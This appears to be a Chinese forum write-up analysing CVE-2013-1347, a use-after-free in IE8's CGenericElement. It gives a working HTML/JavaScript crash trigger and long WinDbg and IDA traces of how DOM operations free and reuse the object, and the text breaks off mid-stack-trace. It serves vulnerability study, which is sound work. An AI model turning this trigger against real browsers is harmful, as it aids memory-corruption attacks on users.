首页
论坛
课程
招聘
[原创] 超级长的IE调试总结:CVE-2013-1347 IE CGenericElement UAF漏洞分析
2021-8-23 00:46 7500

[原创] 超级长的IE调试总结:CVE-2013-1347 IE CGenericElement UAF漏洞分析

2021-8-23 00:46
7500

1. 前言

原本说这周(写下这段文字的时候已经是上周了...)要看UAF漏洞如何利用的,结果《漏洞战争》中的第一个UAF漏洞是FireFox中的,由于版本太老,Firefox已经不提供symbols了,所以我选择调试第二个漏洞,然后就陷入了IE的大坑。

 

最终的这篇文章主要集中在了如何对IE进行调试上,按照Poc代码的流程详细分析了IE怎样完成相关操作,并通过删除关键代码,对比调试确定代码作用。最后在漏洞利用上,也对示例代码进行了调试,分析确定了exploit可以发生的原因。文章最后并没有涉及到真正的shellcode,因为那已经是堆喷射和ROP的技术了(而且这个漏洞分析真的花费了太长时间...)。

2. 调试代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<!doctype html> <!-- required -->
<HTML>
<head>
</head>
<body>
<ttttt:whatever id="myanim"/><!-- required format -->
<script>
    f0=document.createElement('span');
    document.body.appendChild(f0);
 
    f1=document.createElement('span');
    document.body.appendChild(f1);
 
    f2=document.createElement('span');
    document.body.appendChild(f2);
 
    document.body.contentEditable="true";
    f2.appendChild(document.createElement('datalist')); //has to be a data list
    f1.appendChild(document.createElement('table'));    //has to be a table
 
    try{
            f0.offsetParent=null;                       //required
    }catch(e){  }
 
    f2.innerHTML="";                                    //required
    f0.appendChild(document.createElement('hr'));       //required
    f1.innerHTML="";                                    //required
    CollectGarbage();
 </script>
</body>
</html>

3. 调试分析

3.1 环境

IE版本:8.0.7600.16385

 

操作系统:Win 7 64位专业版

 

Windbg版本:Windbg 6.12 x86

3.2 定位漏洞对象

使用IE打开poc文件之后,由于安全设置的缘故,js代码并没有执行,这时用windbg附加到IE进程上,然后右键“允许阻止的内容”,此时进程中断:

1
2
3
4
5
6
7
8
9
0:013> g
ModLoad: 73090000 73142000   C:\Windows\SysWOW64\jscript.dll
(5a0.3d8): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=72a4a570 ebx=04ccc3a8 ecx=0073c538 edx=4d3b1874 esi=02f5ead0 edi=00000000
eip=4d3b1874 esp=02f5eaa0 ebp=02f5eabc iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246
4d3b1874 ??              ???

可以看到进程执行到了4d3b1874这里:

1
2
3
4
5
6
7
8
9
10
11
0:005> !address 4d3b1874
 
 
Failed to map Heaps (error 80004005)
Usage:                  Free
Base Address:           07515000
End Address:            5fff0000
Region Size:            58adb000
Type:                   00000000   
State:                  00010000    MEM_FREE
Protect:                00000001    PAGE_NOACCESS

这个地址没有任何访问权限,看一下函数调用栈的情况:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
0:005> kb
ChildEBP RetAddr  Args to Child             
WARNING: Frame IP not in any known module. Following frames may be wrong.
02f5ea9c 72adc407 72b05961 02f5edec 04ccc3a8 0x4d3b1874
02f5eaa0 72b05961 02f5edec 04ccc3a8 00000000 mshtml!CElement::Doc+0x7
02f5eabc 72b0586d 04ccc3a8 02f5edec 04ccc3a8 mshtml!CTreeNode::ComputeFormats+0xba
02f5ed68 72b0a12d 04ccc3a8 04ccc3a8 02f5ed88 mshtml!CTreeNode::ComputeFormatsHelper+0x44
02f5ed78 72b0a0ed 04ccc3a8 04ccc3a8 02f5ed98 mshtml!CTreeNode::GetFancyFormatIndexHelper+0x11
02f5ed88 72b0a0d4 04ccc3a8 04ccc3a8 02f5eda4 mshtml!CTreeNode::GetFancyFormatHelper+0xf
02f5ed98 7298b9c4 04ccc3a8 02f5edb4 7298ba2c mshtml!CTreeNode::GetFancyFormat+0x35
02f5eda4 7298ba2c 00000000 04ccc3a8 02f5edc4 mshtml!ISpanQualifier::GetFancyFormat+0x5a
02f5edb4 729fc009 00000000 007a58a0 02f5edfc mshtml!SLayoutRun::HasInlineMbp+0x10
02f5edc4 72a0b4e5 00000000 00000000 007a58a0 mshtml!SRunPointer::HasInlineMbp+0x56
02f5edfc 72a0b575 02f5ee1b 00000000 00000000 mshtml!CLayoutBlock::GetIsEmptyContent+0xf2
02f5ee34 72bd44f0 02f5ee9f 02f5eeb3 007e03b0 mshtml!CLayoutBlock::GetIsEmptyContent+0x3f
......

此时的返回地址是72adc407,看一下这之前的代码:

1
2
3
4
5
6
7
8
9
10
11
0:005> ub 72adc407
mshtml!CElement::SecurityContext+0x29:
72adc3fb 90              nop
72adc3fc 90              nop
72adc3fd 90              nop
72adc3fe 90              nop
72adc3ff 90              nop
mshtml!CElement::Doc:
72adc400 8b01            mov     eax,dword ptr [ecx]
72adc402 8b5070          mov     edx,dword ptr [eax+70h]
72adc405 ffd2            call    edx

这是一个很典型的获取对象虚表指针,然后根据偏移调用对应虚函数的结构。ecx中保存了this指针,eax获取虚表指针,调用了偏移0x70处的虚函数。为了获取更多信息,可以开启页堆试一下:

1
2
3
C:\Users\test>"C:\Program Files (x86)\Debugging Tools for Windows (x86)\gflags.exe" -i iexplore.exe +hpa
Current Registry Settings for iexplore.exe executable are: 02000000
    hpa - Enable page heap

再次开始调试,这次程序断在了刚刚访问ecx寄存器的时候:

1
2
3
4
5
6
7
8
9
10
0:013> g
ModLoad: 71c90000 71d42000   C:\Windows\SysWOW64\jscript.dll
(26c.904): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=723d5100 ebx=0d340fb0 ecx=0d222fc8 edx=00000000 esi=0862eb80 edi=00000000
eip=7205c400 esp=0862eb54 ebp=0862eb6c iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246
mshtml!CElement::Doc:
7205c400 8b01            mov     eax,dword ptr [ecx]  ds:002b:0d222fc8=????????
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
0:005> !heap -p -a ecx
    address 0d222fc8 found in
    _DPH_HEAP_ROOT @ 4d1000
    in free-ed allocation (  DPH_HEAP_BLOCK:         VirtAddr         VirtSize)
                                    be01958:          d222000             2000
    746790b2 verifier!AVrfDebugPageHeapFree+0x000000c2
    77140acc ntdll!RtlDebugFreeHeap+0x0000002f
    770fa967 ntdll!RtlpFreeHeap+0x0000005d
    770a32f2 ntdll!RtlFreeHeap+0x00000142
    74eb14d1 kernel32!HeapFree+0x00000014
    71eeb9a8 mshtml!CGenericElement::`scalar deleting destructor'+0x0000003d
    72067dd0 mshtml!CBase::SubRelease+0x00000022
    7205c482 mshtml!CElement::PrivateRelease+0x0000002a
    7205b034 mshtml!PlainRelease+0x00000025
    720b669d mshtml!PlainTrackerRelease+0x00000014
    71c9a6f1 jscript!VAR::Clear+0x0000005f
    71cb6d66 jscript!GcContext::Reclaim+0x000000b6
    71cb4309 jscript!GcContext::CollectCore+0x00000123
    71d18572 jscript!JsCollectGarbage+0x0000001d
    71ca74ac jscript!NameTbl::InvokeInternal+0x00000141
......

根据上面得到的堆信息,进程引用了已经释放的空间,这块空间是通过垃圾回收机制删除的CGenericElement对象。

3.3 javascript代码的简单理解

了解了异常发生的基本原因,我希望先对poc.html中的javascript代码有一个初步的理解,方便明确接下来的分析方向。

 

下面是我对代码的进一步注释,在这一过程中尝试对某些语句进行删除,重新验证异常是否会出现。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
  f0=document.createElement('span');
    document.body.appendChild(f0);
 
    f1=document.createElement('span');
    document.body.appendChild(f1);
 
    f2=document.createElement('span');
    document.body.appendChild(f2);
 
    document.body.contentEditable="true";              
    f2.appendChild(document.createElement('datalist')); //has to be a data list
    f1.appendChild(document.createElement('table'));    //has to be a table
 
// 到此为止,上面的代码都是在创建元素,以及向DOM树中增添元素
 
  try{
            f0.offsetParent=null;                       //这句一定要有,且位置不能变
    }catch(e){  }
 
    f2.innerHTML="";                                    //required
    f0.appendChild(document.createElement('hr'));       //required
    f1.innerHTML="";                                    //required 以上三句的顺序可以打乱
    CollectGarbage();                                   //最后异常发生在这之后

根据以上调试得到的结果,存在以下几个问题:

  1. document.createElementappendChild究竟干了些什么,是不是在堆中创建了空间?
  2. 设置offsetParent=null在底层上对之前创建的堆块空间有什么影响?
  3. 最后设置innerHTML以及创建hr元素的时候又在内存中发生了什么?
  4. datalist以及table和其他类型有什么区别,为什么一定非它不可?
  5. (后来发现我这一点搞错了)

3.4 IE中javascript代码的调试

基于以上提出的问题,进行下一步对javascript代码的调试。首先需要找到对应的DLL文件中的函数是什么。

 

CVE-2011-0027的整数溢出漏洞的分析过程中,书中提到了一个确定和recordset相关的IE函数的方法,需要到https://www.geoffchappell.com上去搜索。使用这个方法可以找到CDocument类中的createElement函数。

 

除此之外,在此次漏洞分析中,书中也写到了可以直接在windbg中对函数进行搜索。具体使用哪种方法还需要结合上下文,以及搜索结果进行选择。

3.4.1 createElement的流程

按照书中所说,搜索mshtml!*document*createElement*

1
2
3
4
0:005> x mshtml!*document*createElement*
71fa1dae mshtml!CDocument::createElement = <no type information>
72070a40 mshtml!s_methdescCDocumentcreateElement = <no type information>
71fa1e07 mshtml!CDocument::CreateElementHelper = <no type information>

先看第一个函数,在IDA中打开mshtml.dll并找到对应函数。

 

之后是一系列CreateElement函数的调用:

1
CDocument::createElement → CDocument::CreateElementHelper → CMarkup::CreateElement → CreateElement

直接在CMarkup::CreateElement处下断点,根据IDA中CreateElement调用位置,在windbg中下断点:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
0:013> g
ModLoad: 71680000 71732000   C:\Windows\SysWOW64\jscript.dll
Breakpoint 0 hit
eax=00000000 ebx=0837f0ec ecx=0be00fc8 edx=00000017 esi=0837ebc0 edi=0be00fc8
eip=7201c9b5 esp=0837eb8c ebp=0837eba8 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
mshtml!CMarkup::CreateElement:
7201c9b5 8bff            mov     edi,edi
0:005> bp 7201ca58
0:005> g
Breakpoint 1 hit
eax=0837ebc0 ebx=00000004 ecx=0d4c4f30 edx=0bd01680 esi=08c3c630 edi=0837eb18
eip=7201ca58 esp=0837eaf0 ebp=0837eb88 iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000206
mshtml!CMarkup::CreateElement+0x2df:
7201ca58 e85381fcff      call    mshtml!CreateElement (71fe4bb0)

步入之后很快能到达下面的代码位置:

1
2
3
4
71fe4bcc 0fb64701        movzx   eax,byte ptr [edi+1]
71fe4bd0 c1e004          shl     eax,4
71fe4bd3 05709a0772      add     eax,offset mshtml!g_atagdesc (72079a70)
71fe4bd8 0f84b34e1500    je      mshtml!CreateElement+0x2b (72139a91)    [br=0]

其中mshtml!g_atagdesc是一系列函数的索引表:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
0:005> dds 72079a70
72079a70  71eaa6d4 mshtml!`string'
72079a74  7207a510 mshtml!g_pmiTextPlain+0x4
72079a78  722a8d29 mshtml!CTextElement::CreateElement
72079a7c  00000001
72079a80  71eaa6d4 mshtml!`string'
72079a84  7207a320 mshtml!s_hpcUnknown
72079a88  71fb310e mshtml!CUnknownElement::CreateElement
72079a8c  20000001
72079a90  72065738 mshtml!g_tagascA2+0x8
72079a94  7207ab68 mshtml!g_entascsup2+0x14
72079a98  72002a0f mshtml!CAnchorElement::CreateElement
72079a9c  00000000
72079aa0  72065744 mshtml!g_tagascABBR3+0x8
72079aa4  7207a630 mshtml!g_pmiImagePlug+0xb4
72079aa8  72019f4b mshtml!CPhraseElement::CreateElement
72079aac  00000020
72079ab0  72065758 mshtml!g_tagascACRONYM4+0x8
72079ab4  7207a630 mshtml!g_pmiImagePlug+0xb4
72079ab8  72019f4b mshtml!CPhraseElement::CreateElement
72079abc  00000020
72079ac0  72065778 mshtml!g_tagascADDRESS5+0x8
72079ac4  7207ac40 mshtml!g_entascmicro+0x14
72079ac8  71ef41f7 mshtml!CBlockElement::CreateElement
72079acc  00080042
72079ad0  72065790 mshtml!g_tagascAPPLET6+0x8
72079ad4  7207af58 mshtml!g_entascEuml203+0x14
72079ad8  71f51d8b mshtml!CObjectElement::CreateElement
......

edi寄存器中保存了该索引表的偏移,最终得到函数CSpanElement::CreateElement的地址,并进行了调用:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
代码:
71fe4bde 8b4008          mov     eax,dword ptr [eax+8]
71fe4be1 8d4d10          lea     ecx,[ebp+10h]
71fe4be4 51              push    ecx
71fe4be5 52              push    edx
71fe4be6 57              push    edi
71fe4be7 ffd0            call    eax {mshtml!CSpanElement::CreateElement (71f9b07a)}
 
windbg输出:
0:005> p
eax=71f9b07a ebx=72058308 ecx=0837eaf8 edx=0bd01680 esi=08c3c630 edi=0837eb18
eip=71fe4be7 esp=0837eac4 ebp=0837eae8 iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000202
mshtml!CreateElement+0x41:
71fe4be7 ffd0            call    eax {mshtml!CSpanElement::CreateElement (71f9b07a)}

在IDA中看一下这个函数干了什么:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
unsigned int __stdcall CSpanElement::CreateElement(struct CHtmTag *a1, struct CDoc *a2, struct CElement **a3)
{
  struct CElement *v3; // esi
  struct CElement *v4; // eax
 
  v3 = (struct CElement *)HeapAlloc(g_hProcessHeap, 8u, 0x28u);
  if ( v3 )
  {
    CElement::CElement(91, a2);
    *(_DWORD *)v3 = &CSpanElement::`vftable';
    v4 = v3;
  }
  else
  {
    v4 = 0;
  }
  *a3 = v4;
  return v4 != 0 ? 0 : 0x8007000E;
}

可以看到这个函数通过HeapAlloc分配了大小为0x28个字节的空间,然后调用了CElement::CElement创建元素,并将相关数据写入到分配的空间中。

 

CElement::CElement 的内容:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
int __userpurge CElement::CElement@<eax>(int a1@<eax>, CBase *a2@<ecx>, char a3, _DWORD *a4)
{
  CElement *v5; // ecx
  struct CSecurityContext *v7; // [esp+0h] [ebp-Ch]
 
  CBase::CBase(a2);
  *(_DWORD *)(a1 + 36) = 0;
  *(_DWORD *)a1 = &CElement::`vftable';
  (*(void (__thiscall **)(_DWORD *))(*a4 + 112))(a4);
  CElement::ReplaceSecurityContext(v5, v7);
  a4[2] += 8;
  _IncrementObjectCount();
  *(_DWORD *)(a1 + 28) &= 0xFFFBFFFF;
  *(_BYTE *)(a1 + 32) &= 0xFEu;
  *(_BYTE *)(a1 + 24) = a3;
  return a1;
}

eax寄存器指向的是之前HeapAlloc分配的空间,可以看到这个函数在向这个空间填入数据,最后将其作为返回值返回。

 

总结一下,createElement的流程如下:

1
2
3
4
5
6
mshtml!CDocument::createElement ->
mshtml!CDocument::CreateElementHelper ->
mshtml!CMarkup::CreateElement ->
mshtml!CreateElement ->                    // 具体偏移位置为0x41
mshtml!C***Element::CreateElement ->
mshtml!CElement::CElement                  // ret语句在偏移0x4c

因此我们可以通过在mshtml!CreateElementmshtml!CElement::CElement设置断点,获得createElement过程中创建的元素类型以及分配空间的地址及内容:

1
2
3
bu mshtml!CreateElement+0x41 "ln eax;g"      // 0x41处调用了具体某个元素的createElement函数,并且eax中保存了该函数地址,这里可以显示元素类型
bu mshtml!CElement::CElement+0x4c ".echo '=== CElement ===';dd eax La;g"    // 0x4c处执行返回语句,此时eax寄存器中保存了返回值,指向为该元素分配的空间
                                                                                                                                            // 该空间大小为10*4=40=0x28字节,这里显示分配空间的地址及内容

在设置第一个断点的时候,出现了两个函数:

1
2
3
4
5
7708000c cc              int     3
0:013> bu mshtml!CreateElement+0x41 "ln eax;g"
Matched: 7108d88c mshtml!CreateElement = <no type information>
Matched: 71084bb0 mshtml!CreateElement = <no type information>
Ambiguous symbol error at 'mshtml!CreateElement+0x41 "ln eax;g"'

我查看了一下汇编代码,在第二个位于71084bb0的函数那里找到了相似代码:

1
2
3
4
5
6
7
mshtml!CreateElement+0x38:
71084bde 8b4008          mov     eax,dword ptr [eax+8]
71084be1 8d4d10          lea     ecx,[ebp+10h]
71084be4 51              push    ecx
71084be5 52              push    edx
71084be6 57              push    edi
71084be7 ffd0            call    eax

所以选择这个函数设置断点:

1
2
3
4
5
0:013> bp 71084be7 "ln eax;g"
0:013> bu mshtml!CElement::CElement+0x4c ".echo '=== CElement ===';dd eax La;g"
0:013> bl
 0 e 71084be7     0001 (00010:**** mshtml!CreateElement+0x41 "ln eax;g"
 1 e 7108485b     0001 (00010:**** mshtml!CElement::CElement+0x4c ".echo '=== CElement ===';dd eax La;g"

到此为止,通过分析createElement底层执行的代码,我们已经知道怎样获得函数执行期间创建的堆空间的地址及其内容了。

 

接下来按照同样的方法,确定appendChild这个函数在底层干了什么

3.4.2 appendChild的底层逻辑

在windbg中搜索和appendChild相关的函数:

1
2
3
4
5
6
7
0:005> x mshtml!*appendChild*
710420c4 mshtml!CElement::appendChild = <no type information>
712a6382 mshtml!CAttribute::appendChild = <no type information>
712a57e6 mshtml!CDOMTextNode::appendChild = <no type information>
71192bc8 mshtml!s_methdescCAttributeappendChild = <no type information>
710fe458 mshtml!s_methdescCElementappendChild = <no type information>
7104af3c mshtml!CDocument::appendChild = <no type information>

代码中有两类进行appendChild的操作,分别是向bodyspan元素中添加子元素:

1
2
document.body.appendChild(f2);
f2.appendChild(document.createElement('datalist'));

从函数名来看,mshtml!CElement::appendChildmshtml!CDocument::appendChild比较可疑。在IDA中搜索后者,可以发现CDocument::appendChild直接调用了CElement::appendChild

 

直接在IDA中跟踪一下函数的调用流程,根据函数名称可以大致判断其功能,得到下面的结果:

1
2
3
4
5
6
7
8
CDocument::appendChild ->
CElement::appendChild ->
CElement::insertBefore ->
CElement::InsertBeforeHelper ->
CElement::GetDOMInsertPosition - InsertDOMNodeHelper ->
CDoc::InsertElement ->
CMarkup::InsertElementInternal ->
(CTreeNode *)HeapAlloc(g_hProcessHeap, 8u, 0x4Cu);

从上面的流程中可以知道,程序是在InsertBeforeHelper中获得了元素在DOM树中的插入位置,然后开始进行插入,最终到达InsertElementInternal函数,才真正在堆中分配一个空间,所有数据的赋值一定是在之后才发生的。

 

根据以上结论,在CMarkup::InsertElementInternal函数设置一个断点,进行详细的调试,判断空间分配后发生的什么。

 

程序断在CMarkup::InsertElementInternal之后,继续步进,到达HeapAlloc函数:

1
2
3
4
5
6
7
8
9
10
11
12
0:005> p
eax=0d4c4fb0 ebx=00000000 ecx=00000000 edx=00000000 esi=0864ed30 edi=0864ed24
eip=72a40ce5 esp=0864ec64 ebp=0864ed00 iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000202
mshtml!CMarkup::InsertElementInternal+0x224:
72a40ce5 ff15c4129272    call    dword ptr [mshtml!_imp__HeapAlloc (729212c4)] ds:002b:729212c4={ntdll!RtlAllocateHeap (7709dec6)}
0:005> p
eax=0d008fb0 ebx=00000000 ecx=770a3b23 edx=00000000 esi=0864ed30 edi=0864ed24
eip=72a40ceb esp=0864ec70 ebp=0864ed00 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
mshtml!CMarkup::InsertElementInternal+0x22a:
72a40ceb 3bc3            cmp     eax,ebx

HeapAlloc分配的空间首地址为eax中的值0d008fb0

 

当执行完HeapAlloc之后,程序调用CTreeNode::CTreeNode函数创建对应想要添加元素的TreeNode

1
2
3
4
5
72a40cf3 8b7d0c          mov     edi,dword ptr [ebp+0Ch]
72a40cf6 53              push    ebx
72a40cf7 ff742410        push    dword ptr [esp+10h]
72a40cfb 8bc8            mov     ecx,eax
72a40cfd e8cec10a00      call    mshtml!CTreeNode::CTreeNode (72aeced0)

之前HeapAlloc创建的空间作为this指针传递给了CTreeNode::CTreeNode函数,并且会作为返回值返回(从IDA中得知)。因此在该函数执行完之后,看一下之前分配的空间:

1
2
3
4
5
6
0:005> ddp eax L5
0d008fb0  0c56dfd8 72a1b0c8 mshtml!CSpanElement::`vftable'
0d008fb4  0d4c4fb0 0d5d4fd0
0d008fb8  ffff005b
0d008fbc  ffffffff
0d008fc0  00000000

可以看到这次添加的元素是span

 

也就是说,在进行appendChild操作时,程序会分配一个大小0x4C的空间,该空间用于存储要添加元素的CTreeNode结构,该结构中存储了和要添加的元素有关的信息。

 

还是按照之前分析createElement的方法,在执行完CTreeNode::CTreeNode函数之后的位置设置断点,这次要输出CTreeNode的内容:bu mshtml!CMarkup::InsertElementInternal+0x23d "ddp eax L13;g"

1
2
3
4
5
6
7
8
9
10
11
0:014> bu mshtml!CreateElement+0x41 "ln eax;g"
Matched: 72a6d88c mshtml!CreateElement = <no type information>
Matched: 72a64bb0 mshtml!CreateElement = <no type information>
Ambiguous symbol error at 'mshtml!CreateElement+0x41 "ln eax;g"'
0:014> bp 72a64bb0+0x37 "ln eax;g"
0:014> bu mshtml!CElement::CElement+0x4c ".echo '=== CElement ===';dd eax La;g"
0:014> bu mshtml!CMarkup::InsertElementInternal+0x1de".echo '=== CTreeNode ===';ddp eax L13;g"
0:014> bl
 0 e 72a64be7     0001 (00010:**** mshtml!CreateElement+0x41 "ln eax;g"
 1 e 72a6485b     0001 (00010:**** mshtml!CElement::CElement+0x4c ".echo '=== CElement ===';dd eax La;g"
 2 e 72a40d02     0001 (00010:**** mshtml!CMarkup::InsertElementInternal+0x23d ".echo '=== CTreeNode ===';ddp eax L13;g"

到目前为止我们已经跟踪了createElementappendChild的执行流程,知道在哪里设置断点可以获得分配的堆块空间的地址,以及如何显示空间中的内容。

 

接下来就要看poc中剩余的代码对已经分配的这些空间有什么影响了。

3.4.3 offsetParent的影响以及CTreeNode的结构

在调试之前,先看一下offsetParent是什么东西:

那么offsetParent就是距离该子元素最近的进行过定位的父元素(position:absolute relative fixed),如果其父元素中不存在定位则offsetParent为:body元素

 

因此如果没有设置过这个值,f0offsetParent应该是body元素,但是在代码中把这个值设置成了null

 

还是像之前一样,确定一下和offsetParent有关的函数是什么:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
0:005> x mshtml!*offsetParent*
72d078ec mshtml!CDisplayRequestGetOffsetParent::~CDisplayRequestGetOffsetParent = <no type information>
72d078d3 mshtml!CDisplayRequestGetOffsetParent::CDisplayRequestGetOffsetParent = <no type information>
72d07d13 mshtml!CDisplayBox::IsOffsetParent = <no type information>
729318ba mshtml!CDisplayBox::FindOffsetParent = <no type information>
72d079b0 mshtml!CDisplayRequestGetOffsetParent::GetOffsetTopLeft = <no type information>
72cfebda mshtml!CLayoutBlock::IsOffsetParent = <no type information>
72d07980 mshtml!CDisplayRequestGetOffsetParent::SetOffsetParentDisplayBox = <no type information>
72d07911 mshtml!CDisplayRequestGetOffsetParent::OffsetParent = <no type information>
729520e1 mshtml!CElement::GetOffsetParentHelper = <no type information>
72d084a0 mshtml!CTextDisplayBox::IsOffsetParent = <no type information>
72adde34 mshtml!s_propdescCElementoffsetParent = <no type information>
72d07998 mshtml!CDisplayRequestGetOffsetParent::SetSourceDisplayBox = <no type information>
729521d2 mshtml!CElement::get_offsetParent = <no type information>
7293186c mshtml!CDisplayBox::TransformRectToOffsetParent = <no type information>

从函数名来看,有关的函数可能是:

1
2
729520e1 mshtml!CElement::GetOffsetParentHelper = <no type information>
729521d2 mshtml!CElement::get_offsetParent = <no type information>

在IDA中查找,可以看到后者调用了前者。这样的话,可以直接在CElement::GetOffsetParentHelper设置一个断点,然后查看函数执行前后,目标空间数据的变化情况。

 

根据以上结论,我们可以设置以下断点:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
0:013> bu mshtml!CreateElement+0x41 "ln eax;g"
Matched: 71fed88c mshtml!CreateElement = <no type information>
Matched: 71fe4bb0 mshtml!CreateElement = <no type information>
Ambiguous symbol error at 'mshtml!CreateElement+0x41 "ln eax;g"'       
0:013> bp 71fe4bb0+0x37 "ln eax;g"                    // 这里显示创建的元素类型
0:013> bu mshtml!CElement::CElement+0x4c ".echo '=celement='; r eax;g"    // 这里显示创建元素时分配空间的地址
0:013> bu mshtml!CMarkup::InsertElementInternal+0x1de".echo '= CTreeNode =';r eax;g"   // 这里显示创建DOM节点时分配空间的地址
// 通过以上断点,可以获得和每个元素相关的堆块空间的地址
0:013> bu CElement::GetOffsetParentHelper          // 程序会断在调用这个函数的时候
0:013> bl
 0 e 71fe4be7     0001 (00010:**** mshtml!CreateElement+0x41 "ln eax;g"
 1 e 71fe485b     0001 (00010:**** mshtml!CElement::CElement+0x4c ".echo '=celement='; r eax;g"
 2 e 71fc0d02     0001 (00010:**** mshtml!CMarkup::InsertElementInternal+0x23d ".echo '= CTreeNode =';r eax;g"
 3 e 71ed20e1     0001 (00010:**** mshtml!CElement::GetOffsetParentHelper

设置好断点执行,会得到和每个元素相关的堆块空间的地址,然后程序断在CElement::GetOffsetParentHelper的开头。此时我们可以按照dd element_addr la;以及ddp treenode_addr l13;的格式输出所在地址处的数据。

 

之后按Shift+F11跳出当前函数,再次进行一次上面的堆块空间内容的输出,就可以得到函数执行前后,目标空间数据的变化情况了。

 

整理如下:

 

图片描述

 

首先看一下上图中,程序创建的元素名称,可以看到倒数第二个是CGenericElement元素,还记得我们一开始定位漏洞的位置,根据调试器的输出,已经知道异常产生的原因是一个CGenericElement被释放重引用了,所以之后应该重点关注这个元素对应的堆块空间的变化情况,以及其他元素对于这个元素的引用情况

 

除此之外,观察上图中同一列数据,根据数值间的关系以及IE5.0源码,可以得出以下结论(仅作参考,帮助分析):

  1. CTreeNode(4字节):同一元素CElement地址;
  2. CTreeNode+0x4(4字节):父元素CTreeNoe地址;
  3. CTreeNode+0x8(2字节):同类型元素相同;
  4. CTreeNode+0xC(4字节):根据源码,是SHORT _iCFSHORT _iFF这两个值,分别表示Char FormatFancy Format,虽然不知道是什么意思。
  5. CTreeNode+0x10, CTreeNode+0x28(24字节):CTreePos结构,里面保存了指向父元素或其他相邻元素的CTreePos结构的指针;
  6. CTreeNode+0x44(4字节):CTextBlock结构指针。

    源码和数值关系都没看出来,最终在windbg中得到了这个值的涵义:0cec1ff4 0d186fa0 71fc6cc8 mshtml!CTextBlock::vftable'`

    检查了几个不同元素,得到的都是同一结构的指针;

  7. CElement+0x14(4字节):同一元素CTreeNode地址;

  8. CElement+0x18(2字节):同类型元素相同;

3.4.4 offsetParent与CTextBlock

之后执行的代码是:

1
2
3
4
f2.innerHTML="";                                    //required
f0.appendChild(document.createElement('hr'));       //required
f1.innerHTML="";                                    //required
CollectGarbage();

按照相同的方法找到和innerHTML有关的函数,并设置断点:

1
2
3
4
0:005> x mshtml!*innerHTML*
7205d2ec mshtml!s_propdescCElementinnerHTML = <no type information>
71fb66c7 mshtml!CElement::get_innerHTML = <no type information>
71fa984c mshtml!CElement::put_innerHTML = <no type information>

到目前为止断点设置情况:

1
2
3
4
5
6
0:005> bl
 0 e 71fe4be7     0001 (00010:**** mshtml!CreateElement+0x41 "ln eax;g"
 1 e 71fe485b     0001 (00010:**** mshtml!CElement::CElement+0x4c ".echo '=celement='; r eax;g"
 2 e 71fc0d02     0001 (00010:**** mshtml!CMarkup::InsertElementInternal+0x23d ".echo '= CTreeNode =';r eax;g"
 3 e 71ed20e1     0001 (00010:**** mshtml!CElement::GetOffsetParentHelper
 4 e 71fa984c     0001 (00010:**** mshtml!CElement::put_innerHTML

最后得到如下图的数据变化情况:

 

图片描述

 

从上图可以发现:

  1. 在设置完offsetParent之后,TreeNode中偏移为0x80xC两个位置的部分字节数据出现了变化,但是清空f2innerHTML之后又改了回来。
  2. 除了上一点,在CTreeNode+0x44的位置,数值也发生了明显的变化。
  3. 在清空f2innerHTML之后,CGenericElementTreeNode中保存的父元素TreeNode地址就清零了;同时CElement中保存的同一元素TreeNode地址也清零了,但是TreeNode中保存的同一元素CElement地址仍旧存在。

我觉得第2点中存在的现象肯定是有一些问题的,CElementTreeNode之间的联系被单方面中断了,这就导致最后垃圾回收之后,TreeNode那里的数据完全没变化。而且第1点中变化的那几个字节的具体作用目前也不清楚,不知道是不是和这个漏洞有关系。

 

关于第一点,我在下一小节进行了调试,先来看第二点。仔细查看一下CTreeNode+0x44这个位置的值是什么意思:

1
2
0:005> ddp 0cec1fb0+0x44 l1
0cec1ff4  0c53ffa0 71fc6cc8 mshtml!CTextBlock::`vftable'

注:因为多次调试,这里的值发生了变化。

 

所以这个位置保存了一个指向CTextBlock的指针,而执行完f0.offsetParent=null;之后,CGenericElementCTreeNode里面就多出来了一个CTextBlock,我们设置一个断点看一下是怎么来的:

1
2
3
4
5
6
7
8
0:005> ba r4 0cec1fb0+44
0:005> g
Breakpoint 4 hit
eax=00000000 ebx=0849e6fc ecx=00000000 edx=00000000 esi=0cec1fb0 edi=0cef7fa0
eip=720c0553 esp=0849cfd4 ebp=0849cfe8 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
mshtml!CTreeNode::SetLayoutBlock+0x3:
720c0553 3bcf            cmp     ecx,edi

看一下函数调用流程:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
0:005> kb
ChildEBP RetAddr  Args to Child             
0849cfd0 71f11243 ffffffff ffffffff 00000002 mshtml!CTreeNode::SetLayoutBlock+0x3
